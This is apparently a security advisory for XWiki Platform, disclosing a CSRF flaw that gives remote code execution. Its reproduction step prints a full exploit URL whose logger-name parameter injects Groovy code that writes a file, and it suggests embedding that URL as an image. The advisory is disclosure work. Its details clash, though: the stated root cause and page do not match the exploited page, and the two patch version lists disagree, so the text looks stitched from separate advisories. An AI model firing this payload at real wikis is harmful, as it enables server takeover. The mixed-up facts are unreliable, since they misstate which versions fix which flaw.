XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any user with edit rights on a page (e.g., it's own user page), can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the section ids in XWiki.AdminFieldsDisplaySheet. This page is installed by default. The vulnerability has been patched in XWiki versions 15.0-rc-1, 14.10.1, 14.4.8, and 13.10.11.

Impact

Steps to reproduce:

It is possible to trick a user with programming rights into visiting <xwiki-host>/xwiki/bin/view/XWiki/LoggingAdmin?loggeractionset=1&loggername=%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dnew+File%28%22%2Ftmp%2Fexploit.txt%22%29.withWriter+%7B+out+-%3E+out.println%28%22created+from+notification+filter+preferences%21%22%29%3B+%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D&loggerlevel=TRACE where <xwiki-host> is the URL of your XWiki installation, e.g., by embedding an image with this URL in a document that is viewed by a user with programming rights.

Expected result:

No file in /tmp/exploit.txt has been created.

Actual result:

The file /tmp/exploit.txt is been created with content "created from notification filter preferences!". This demonstrates a CSRF remote code execution vulnerability that could also be used for privilege escalation or data leaks (if the XWiki installation can reach remote hosts).

Patches The problem has been patched on XWiki 14.4.7, and 14.10.

Workarounds The issue can be fixed manually applying this patch.

References - https://jira.xwiki.org/browse/XWIKI-20291 - https://github.com/xwiki/xwiki-platform/commit/49fdfd633ddfa346c522d2fe71754dc72c9496ca

For more information If you have any questions or comments about this advisory:

Open an issue in Jira XWiki.org Email us at Security Mailing List